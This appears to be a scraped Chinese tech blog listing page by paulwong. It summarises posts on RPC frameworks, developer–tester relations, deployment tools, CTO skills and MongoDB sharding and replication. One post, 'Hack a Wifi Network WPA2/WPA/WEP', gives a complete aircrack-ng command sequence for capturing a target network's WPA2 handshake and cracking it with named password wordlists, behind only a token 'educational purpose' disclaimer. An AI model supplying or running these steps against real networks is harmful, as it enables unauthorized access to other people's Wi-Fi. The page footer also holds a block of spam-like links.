paulwong

          #

          輕量級分布式 RPC 框架

               摘要: Code highlighting produced by Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com/-->1、每套服務需搭配一個RPCSERVER2、RPCSERVER作為SPRING 容器的一個BEAN3、在SPRING啟動的時候,RPCSERVER會啟動一個NETTY服務器端,然后將SPRING...  閱讀全文

          posted @ 2016-04-12 13:44 paulwong 閱讀(952) | 評論 (0)編輯 收藏

          為什么開發與測試老掐架呢

          讓我們思考幾個常見的問題:

          • 軟件測試的目的是什么?

          • 開發人員能否構建出沒有Bug的完美軟件?

          • 測人人員和開發人員是什么關系?

          • 軟件測試能否保證軟件質量?

          先閉目冥想五分鐘吧,然后可以嘗試著回答上面的問題。

          計算機先驅 Maurice Wikes 回憶起 1949 年他在英國劍橋工作的情形,在拖著打孔紙帶上樓給雛形計算機 EDASC 裝載程序時,他看到了自己的未來:

          我強烈的意識到,生命中剩下的好日子,都將耗費在給自己的程序找錯誤上頭。

          Maurice Wikes告訴我們,沒有完美的軟件。

          我曾經寫過一篇薦書文,推薦了溫伯格技術思想三部曲中的《顛覆完美軟件:軟件測試必須知道的幾件事》。在這本書里,溫伯格也告訴我們,沒有完美的軟件。所有的開發和測試人員都應該讀讀那本書。

          溫伯格在《顛覆完美軟件》中幾乎討論所有常見的與軟件測試相關的概念、問題和指導思想,所以,在這篇文章里,我只能來吐槽啦,我將從以下幾方面列一些常見的現象,希望能引起大家的思考。

          • 測試和開發的關系

          • 流程與標準

          • 資源

          • 態度

          測試和開發的關系

          測試和開發是對立的嗎?

          從處理Bug的角度看,似乎可以這么說。開發人員既生產代碼,也生產Bug。因為開發人員不可避免地會生產Bug,所以測試人員必須存在,以便在軟件交付之前盡可能多地檢出Bug,保證交付給客戶的軟件質量更好一些。一個產Bug,一個挑Bug,看起來似乎是對立的。

          在現實中,很多測試團隊和開發團隊也正是因為這一點而搞得關系不和,甚至真的對立起來。請回想一下你周圍發生的與開發和測試相關的事兒,看看有沒有遇到過下面的情景:

          • 開發說,測試凈找麻煩,客戶跟本不可能像他們那樣使用軟件

          • 測試說,問題總是會在看似極端的條件下產生,用戶總是會不經意觸碰到看似極端的不可能出現的條件

          • 開發說,測試花在異常情況下的精力比測試主流程還多,不知道輕重緩急

          • 測試說,開發從來不考慮測試的感受,連測都不測就扔給我們

          • 開發說,我都測了,還要測試人員干什么

          • 測試說,這么明顯的問題你們都不測一下,把我們測試當垃圾桶啊

          • ……

          許許多多類似的問題,讓開發和測試的關系從撲朔迷離、相愛相殺走向對立。我見過開發和測試搞冷戰某人遇見某人側臉而過,也見過測試經理和開發經理打架,還見過高層領導故意讓測試團隊和開發團隊關系緊張以為這樣可以提高測試效率也能給開發壓力最終會產出更高質量的軟件……

          實際上,測試和開發擁有同一個目的:讓軟件更完美。測試和開發的關系,是一個問題的兩面,應該是相輔相成和平共處的。測試不是為了挑刺兒,他提出的問題也不針對生產軟件的開發人員,而僅僅是在努力想讓開發人員的產出物看起來更好用。只要開發不將測試提Bug這個行為看成針對個人的行為,一切就有了美好的前提。

          否定軟件,并不是否定開發軟件的人。這是開發和測試都需要明確的一個原則和前提。

          還有的人認為開發和測試之關系類似皮與毛,皮之不存毛將焉附?所以有的開發也會因此而有優越感:沒我們寫軟件,你們測試早下崗了!可是,開發不寫軟件,開發也下崗了耶!

          感謝開發的不完美,讓測試可以有事可做并練就慧眼。

          感謝測試的認真細致和耐心體貼,讓開發可以發現自己的不完美并有機會提升自己——那些說我軟件不好的,都是為了我好。

          資源

          別動我們測試的服務器,你們自己搭一個!

          我們沒環境,不用你們的用誰的?

          誰把我們的測試手機拿走了?你們申請一個嘛,老來占我們設備。

          誰在用我們的賬號?招呼都不打!我要用,趕緊退出來!

          有時開發和測試之間也會有資源上的沖突,要有努力的有創造性的解決(我可以負責任地說,裝黑蘋果不是好辦法),不要讓大家伙的工作卡在環境上,這是管理者要解決的基本問題。我見過很多非常棒的一線經理,在現實制約下,主動把自己的手機、iPad都貢獻出來當做測試設備。這也是解決資源問題的一種辦法哦。

          流程與標準

          你身邊的人員會這么抱怨嗎:

          • 開發根本不看我們的測試用例,評審郵件從來就不回復

          • 我們一報Bug,開發就說用戶根本不可能這么用,還說不知道我們怎么會這么測

          • 送測單里根本不寫測試范圍或者寥寥幾句跟沒寫一樣

          • 開發調整設計從來也不告訴我們

          • 為什么產品經理和UI只和開發討論需求變更?

          • 為什么發布計劃里不給測試預留測試時間?

          • 為什么開發寫完代碼測都不測就扔給我們?

          • 為什么客戶那里發現了問題老問是誰測的、為什么沒測出來?

          • 測試老是一聲不吭就把Bug優先級設置為Major

          • 測試總是把大量時間花在用戶根本不可能用到的功能上

          • 測試分不清哪些什么是重點,你給他說他還老是一堆道理這了那了

          • 測試提的Bug,現象描述也不準確,重現步驟也沒有,有的根本就知道是不是誤操作

          • 測試老來打斷我,一會兒叫一下一會兒叫一下,根本沒辦法專注開發

          • jira上的Bug重復率太高,一個問題提N遍,難道就不能合并一下?

          • 測試發現Bug,一聲招呼都不打就直接告訴老板了,搞得我很被動

          • 測試就是專門挑刺兒的,有勁不往正地兒使,你倒是測測用戶常用的功能啊

          • 那么簡單的Bug都能流出到用戶那里,真不知道測試怎么測的

          • 開發老嫌測試報告數據不漂亮,逼著我們調整

          Ok,如果你身邊的開發和測試從來沒有過類似的問題,那很好,恭喜你,看來你們的團隊人nice協作也很順暢,棒棒噠。

          假如你身邊充斥著這樣嘈雜的抱怨,那說明什么呢?開發、測試、發布這一套流程有問題?還是團隊缺乏明確的指向來引導大家向積極、有效的行為靠近?

          流程和標準總是有待解釋的,再好的規則,歪嘴和尚也能把它念斜……

          我們隨便挑一個問題吧:為什么開發寫完代碼測都不測就扔給我們?這個問題普遍存在,它反映出的是程序員和測試人員的工作邊界難以界定的矛盾。

          程序員會說,我都測一遍,還要你們測試做什么?

          測試會說,你測都不測,冒煙都過不了,有沒有責任心?

          程序員說,要我寫測試用例,搭各種環境,遍歷各種正常、異常邏輯,我還有沒有時間寫代碼了?

          測試會說,我們測試是垃圾桶嗎,什么爛玩意兒都直接扔給我們,我們的時間就那么不值錢?

          開發會說,測試本來就是干這個的,你不測誰測?

          ……

          像這樣的問題,能制定一個標準,說明什么樣的邏輯開發要自測覆蓋什么樣的邏輯可以交給測試來測?能畫一條三八線嗎?

          不能。所以,這個時候,靠譜的一線管理者就顯得很重要。如何創造性的發現適合團隊的方法來讓大家順暢地協同工作,比標準、制度更重要,這往往依賴于技術管理者的能力和團隊成員的意識。沒有普適的方法,只有適合這個組織的、此時此地的策略,加油吧,在戰斗中摸索出最適合當下的道路。

          那什么是靠譜的一線管理者呢?

          溫伯格《成為技術領導者》一書中對領導職責的定義如下:

          領導的職責就是創造這樣一個環境,每個人都能在其中發揮出更多的能力。

          如果一個技術領導帶領的團隊,大部分人都能專心做與其能力適配的事情而不用整天泡在與本節前面所列類似的問題里,那他基本上就算是比較靠譜了。

          至于像給測試預留多長的測試周期、調整設計要不要通知測試、需求調整要不要測試參與等問題,合理的流程和標準可以起到很大的輔助作用,技術領導者只要依據合理的制度,引導大家有效參與,就可以化解。

          態度

          場景一:

          測試MM對阿猿說發現了一個Bug。  阿猿矢口否認:不可能,絕對不可能!  MM:真的有Bug,你過來看一下!  阿猿:我都不用看,在我這兒好好兒的。  MM:你來看一下嘛……  阿猿:看什么看,肯定你環境問題,動什么東西了嗎?重啟了嗎?

          場景二:

          測試MM想在jira上提個Bug,先在QQ上對阿猿說:有個Bug,你過來看下?  阿猿:忙著呢,焦頭爛額的。  MM:一分鐘都用不了,你來看下吧。  阿猿:思路一打斷就不好恢復了,等會兒!  MM:你不看我提到jira上了啊。  阿猿:隨便,你不就是愛提Bug嘛。

          場景三:

          測試MM呼叫阿猿:阿猿阿猿,程序又崩潰了,快來看看!  阿猿慢騰騰地起身過來,鼠標點幾下:看不出來什么問題,你怎么操作的?  MM:這樣點一下,那樣,這樣,……回車……。  阿猿:重現不了啊,你想辦法重現,重現了再叫我,我忙著呢。  MM:……

          我曾經畫過一張暴漫,以“她發現了一個Bug”為題發布在微信訂閱號“程序視界”里,再現類似的場景,感興趣的可以在訂閱號內回復10019查看(點擊訂閱號底部的幫助菜單里的“所有文章”子菜單也能找到)。

          開發和測試的日常工作中,上面的情景不斷上演,這其中有一部分原因來自態度。我們有時還能聽到類似下面的話:

          • 你Bug里的現象描述根本沒用

          • 你根本就沒理解這個邏輯,給你說不清楚

          • 測試什么都不懂……

          • 你聽我的,我讓你怎么測你就怎么測

          • 你這種測法兒,再好的軟件都經不起你折騰

          • 用戶根本不可能這樣用,你們整來整去凈瞎耽誤工夫

          • 一輪都沒測完,你們就給老板說可以按期交付沒問題?

          • 你們安排計劃時根本不考慮測試,三天,三天怎么可能測得完!

          • ……

          有時,有一些開發人員會用技術優勢藐視測試,認為測試工作技術含量低,內心認為測試是附屬沒地位,說話就不太客氣……測試會感覺到,反過來也會對開發有意見……就這么,從相敬如賓開始走向嫌怨叢生……

          有個朋友的QQ簽名檔是:沒有自我,只有大道。我琢磨,放在軟件項目里,也挺適用的。

          其實,開發和測試擁有共同的目的:生產高質量軟件。具體說,每一個產品、項目、版本都有明確的目標,這些目標是屬于開發和測試的,是大家的。我們把共同的目標牢記在心,擺在首位,我們還要想著別人所做的一切,都是針對軟件本身,都是在為目標而努力,這樣就心平氣和多了,就容易從當下的泥沼中超脫出來,求同存異共同前進。

            作者:foruok 微信訂閱號“程序視界”(programmer_sight)

            原文:CSDN

            posted @ 2016-04-12 11:01 paulwong 閱讀(515) | 評論 (0)編輯 收藏

            Dubbos

                 摘要: dubbos主要是基于dubbox的基礎上,進行進一步的優化及拓展。Dubbos當前的主要功能支持REST風格遠程調用(HTTP + JSON/XML):基于非常成熟的JBoss RestEasy框 架,在dubbo中實現了REST風格(HTTP + JSON/XML)的遠程調用,以顯著簡化企業內部的跨語言交互,同時顯著簡化企業對外的Open API、無線API甚至AJAX服務端等等的開...  閱讀全文

            posted @ 2016-04-12 10:59 paulwong 閱讀(710) | 評論 (0)編輯 收藏

            Hack a Wifi Network WPA2/WPA/WEP

            First of all you will need a Linux operating system & a little education about Python
            programming.
            You can install Linux operating system on any Pc or Laptop.
            Note : This tutorial is only for eduactional purpose. The author of this pdf is not responsible for any illegal work. During installing and setting up you can loose all of your data, Do not do if you don’t know about programming.
            Device:
            Use Tp-link TL-WN722N Wifi Adapter for High gain.
            Start! Open Terminal:
            1. airmon-ng check kill
            2. airmon-ng
            3. airmon-ng start wlan0
            4. airodump-ng wlan0mon
            5. (control + c to stop)
            6. airodump-ng wlan0mon —bssid 5C:F9:6A:CD:8A:1D -c 1 -w WPA2
            7. wait for 1 minute, capture handshake
            8. aircrack-ng WPA2-01.cap -w /root/rockyou.txt
            /darkc0de
            /Wpa list 1,2,3

            darkc0de, Wpalist & rockyou.txt are the dictionaries files. You can download these from internet.
            This PDF is made by Malik Mubashir

            posted @ 2016-04-05 16:53 paulwong 閱讀(481) | 評論 (0)編輯 收藏

            Walle --web部署系統工具

            Walle 一個web部署系統工具,配置簡單、功能完善、界面流暢、開箱即用!支持git、svn版本管理,支持各種web代碼發布,PHP,Python,JAVA等代碼的發布、回滾,可以通過web來一鍵完成。

            官網主頁 | Github主頁

            功能列表

            • 用戶分身份注冊、登錄
            • 開發者發起上線任務申請、部署
            • 管理者審核上線任務
            • 支持多項目部署
            • 支持多項目多任務并行
            • 快速回滾
            • 項目的用戶權限管理
            • 部署前準備任務pre-deploy(前置檢查)
            • 代碼檢出后處理任務post-deploy(如vendor)
            • 同步后更新軟鏈前置任務pre-release
            • 發布完畢后收尾任務post-release(如重啟)
            • 執行sql構建(不要擔心忘記測試環境sql同步)
            • 線上文件指紋確認
            • 支持git、svn版本管理

            posted @ 2016-03-29 22:09 paulwong 閱讀(605) | 評論 (0)編輯 收藏

            SHARDING-JDBC

            https://github.com/dangdangdotcom/sharding-jdbc/

            posted @ 2016-03-29 21:26 paulwong 閱讀(497) | 評論 (0)編輯 收藏

            想知道嗎?CTO 比普通程序員強在哪?

            互聯網的蓬勃發展,讓無數的程序員身價水漲船高,都變成了「香餑餑」,更有了不少「創業」,「當上 CTO,迎娶白富美的傳說」。都說不想當元帥的士兵不是好士兵,我覺得這件事見仁見智,但提升自己的價值,讓自己變得更優秀更有競爭力,一定是一線城市的大部分 IT 人內心的追求。

            誠然,并不是所有程序員都會變成 CTO,程序員——>CTO 的路徑像是一個漏斗,極少數人沉淀下來,在業界掀起一陣陣颶風。這些 CTO 比起普通的程序員,強在哪?豐富的技術知識只是基礎,更重要的是戰略眼光,管理把控能力。那么 CTO 所思所想,和普通程序員究竟有什么不同?

             普通的程序員往往只負責模塊的開發,代碼的優化,和新技術的鉆研,哦對我說的是普通程序員,而不是只會 fork 的小白程序員;而走向管理領域的高級程序員也許已經開始負責團隊,背負團隊進度和效率。而 CTO,往往不僅要考慮優化團隊的開發工具、流程,肩負起把控整體技術方向的重任,要具有前瞻性,同時還要對企業績效負責。尤其是技術驅動型公司,你問這樣的公司 CTO 好招么,答案通常是「很難招」。技術選型其實是創業公司最糾結的問題,很多團隊往往一上來基于已有的程序員的個人習慣和愛好,選擇了一個技術方案,然后到某一天一看,我靠,全是坑(當然,也可能與執行者的能力有關)。

            圖為通常來說程序員的發展路線:

            影響企業績效的因素在方方面面,核心因素卻往往集中在產品上。不夸張地說,應用程序的性能對于企業績效有著非常巨大的影響。互聯網產品遍地開花,SDK 層出不窮,用戶對于一種新產品的嘗試時間與互聯網產品更新的速度成反比。用戶體驗這個已經被講爛的概念依然還是提升產品價值的關鍵按鈕,無論是 2C 還是 2B。

            一旦用戶未在你所負責的產品中獲得最佳體驗,或者直接解決痛點,他們會毫不猶豫的選擇其他平臺。

            這個問題普通程序員通常解決不了,而一名優秀的 CTO 就需要下點功夫了。如何成為一名優秀的 CTO,這是一個問題,而一個問題往往是另一個問題的解決方案。為什么一個團隊需要優秀的 CTO?是因為需要有人來帶領技術團隊優化應用性能——解決用戶體驗的難題,提升開發、運維,把控技術團隊的戰略方向。那么,優化應用性能,獲得好的用戶體驗,提升開發、運維效率,又該怎么做呢?

            為了確保應用程序能夠達到甚至超越用戶的高期望,需要不斷優化底層 IT 基礎設施的性能。然而,隨著基礎設施變得越來越動態化,混合化和復雜化,一波波新的挑戰隨之而生,讓不少 CTO 多了幾根白頭發。

            但是一個問題的產生,往往意味著相應的解決方法正在路上。為了優化應用程序的性能,優秀的 CTO 需要足夠主動和敏捷。

            主動優化包括物理和虛擬服務器,網絡,存儲設備,數據庫,終端用戶服務,云,和大數據環境在內的所有基礎設施。需要將 IT 團隊帶領成為不僅能夠迅速識別和解決問題,同時具有強大的反脆弱性,在問題對用戶體驗產生不利影響之前,先發制人的組織。以下五大關鍵措施或許可以幫助我們實現一點。

            1. 捕捉和報告性能指標

            鑒于良好性能的重要性,對于 IT 團隊來說只在基礎設施組件出現問題時產生告警是不足夠的。CTO 需要讓團隊能夠提前發現潛在的性能問題,并主動解決。例如,通過免費或付費的第三方工具及一些開源工具,配置告警,在問題出現之前解決。不同的團隊,往往有最為適合自己的基礎設施監控手段,優秀的 CTO 需要能夠綜合衡量團隊大小,開發、運維水平,與人力和資金成本,選擇最符合公司當下情況的監控方式。對于變動型較大或者高速發展的公司,盲目增加人力和花費時間去進行自主開發系統監控解決方案往往造成時間的浪費,得不償失。

            2. 統一視圖和工具來增加可視性,并加快問題解決

            由于開源工具與第三方解決方案層出不窮,不少 IT 團隊也勇于嘗試新工具、新方法。雖然有很多新的工具,解決不同方面的問題,但當問題出現時,團隊成員仍然花費許多時間開會討論,不斷地開會浪費了許多時間。而與此同時,用戶卻經歷著槽糕的體驗。為什么明明有許多工具卻依然采取本辦法溝通呢?原因有兩個,一個是很多 IT 團隊內部在使用不同的協作、監控等工具,另一個是其實團隊內部并沒有養成利用監控平臺或者協作工具的習慣。這種時候 CTO 就需要發揮作用,采用一個統一且功能強大的視圖和架構來監測關鍵的 IT 服務,無論是虛擬機,物理主機,云主機,或者其他組件,同時采取深刻理解DevOps,掌握提升協作、溝通效率,優化開發流程,節省運維成本,提前發現問題的方法。

            想知道嗎?CTO 比普通程序員強在哪?

            3. 跟蹤用戶體驗

            IT 團隊可能擁有大量的性能指標,但是如果不知道用戶的真實體驗,就還是無法真正了解性能表現。什么是真實的體驗?就是用戶在實際操作中,是如何使用我們的產品的,在某個界面停留多久,對哪個環節不滿意,諸如此類。IT 團隊需要分析端到端的基礎設施的響應時間,并借助虛擬交易功能,持續跟蹤交易響應時間,即使在用戶不使用應用程序的情況下。

            想知道嗎?CTO 比普通程序員強在哪?

            4. 采用嚴格的 SLA 管理

            一旦企業的全面監測到位, IT 團隊針對服務水平協議(SLAs)跟蹤性能和體驗是至關重要的。IT 團隊需要能夠跟蹤 SLA 合規性,當潛在問題出現時,立即識別和解決。通過跟蹤 SLAs,IT 企業可以評估他們在管理用戶體驗和基礎設施性能上的有效性。 這一評估對于準確計量團隊績效,設定目標和跟蹤進展也是至關重要的。

            5. 將 IT 和非 IT 數據相關聯,進行高效的容量規劃

            滿足用戶不斷提高的期望,并不僅僅是跟蹤 IT 數據。通過關聯 IT 和業務數據,團隊可以主動識別瓶頸,提高終端用戶體驗。比如,將服務器 CPU 利用率指標和簡單的歷史數據相關聯;比如,將用戶登錄或交易的數量與 IT 數據一起進行展示,可以為適應未來發展的容量規劃,提供有意義的見解。下圖為某團隊將 PHP 請求、響應時間等數據和系統性能數據一起導入 Cloud Insight 儀表盤進行展示的例子。

            想知道嗎?CTO 比普通程序員強在哪?想知道嗎?CTO 比普通程序員強在哪?

            插播一個好玩的,下圖為某團隊成員別出心裁將鍵盤使用記錄導入儀表盤進行展示,也許鍵盤記錄只是一種出于好玩的別出心裁,但同理,也可以將運營數據、業務數據、系統性能數據一起導入儀表盤進行展示,這對一個快速增長的 IT 團隊來說,就很有價值了。

            想知道嗎?CTO 比普通程序員強在哪?

            總結

            數據驅動互聯網高速發展的時代,技術團隊 Leader 除了技術過硬,眼光獨到,還要將緊跟 DevOps 的步伐,放眼國內外,快速、敏捷、盡可能多的優化團隊開發手段和流程,減少開發、運維、運營之間的溝通壁壘,將數據化融入到技術推進的方方面面。而當你在這些方面有了核心競爭力,就不再只是一名普通的程序員了。

            posted @ 2016-03-29 20:44 paulwong 閱讀(399) | 評論 (0)編輯 收藏

            MongoDB健壯集群——用副本集做分片

                 摘要: 1.    MongoDB分片+副本集健壯的集群方案多個配置服務器 多個mongos服務器  每個片都是副本集 正確設置w架構圖說明:1.   此實驗環境在一臺機器上通過不同port和dbpath實現啟動不同的mongod實例2.   總的9個mongod實例,分別做成shard...  閱讀全文

            posted @ 2015-12-18 14:03 paulwong 閱讀(849) | 評論 (0)編輯 收藏

            利用Mongodb的復制集搭建高可用分片,Replica Sets + Sharding的搭建過程

                 摘要: 參考資料 reference:  http://mongodb.blog.51cto.com/1071559/740131  http://docs.mongodb.org/manual/tutorial/deploy-shard-cluster/#sharding-setup-shard-collection感謝網友Mr.Sharp,他給了我很多...  閱讀全文

            posted @ 2015-12-18 13:54 paulwong 閱讀(941) | 評論 (0)編輯 收藏

            MONGODB的復制與分片

            復制:為了防止單點故障,會有幾個實例在運行,保持相同的數據。

            • 一般主從:一主多從,主作讀寫數據,從作從主備份數據用,如果主宕機,則整個MONGODB無法工作。
            • 復制式主從:一動態主多從,主由選舉產生,當中一個主宕機,其他的從會選出一個主。

            適用場景:高負荷的讀多寫少。

            分片:SHARDING,一般數據庫中的分庫分表,一個表分成幾個表用。每個片再做復制。

            適用場景:高負荷的寫多讀少。即如果發現MONGODB寫不能支撐了,則要轉此模式。

            安裝配置服務器,安裝ROUTER:MONGOS,安裝分片服務器,通知MONGOS掛載SHARD。

            如果只啟用數據庫的分片,則不同的表放在不同的分片上,即一個表只占一個分片,另一個表占另一個分片,如果做了表的分片,則此表會分布在所有分片上。











            posted @ 2015-12-18 13:21 paulwong 閱讀(557) | 評論 (0)編輯 收藏

            僅列出標題
            共115頁: First 上一頁 31 32 33 34 35 36 37 38 39 下一頁 Last 
            主站蜘蛛池模板: 方城县| 德庆县| 杭锦后旗| 湟源县| 津市市| 康保县| 镶黄旗| 荣昌县| 尚志市| 松桃| 上高县| 北流市| 遂宁市| 朝阳区| 花莲市| 梨树县| 辰溪县| 兴安盟| 准格尔旗| 雷州市| 晴隆县| 韶关市| 沾化县| 岳池县| 洪江市| 固安县| 黔西县| 莒南县| 霍林郭勒市| 渭源县| 抚宁县| 当阳市| 曲沃县| 隆回县| 枞阳县| 罗田县| 达孜县| 新晃| 绍兴县| 神农架林区| 西宁市|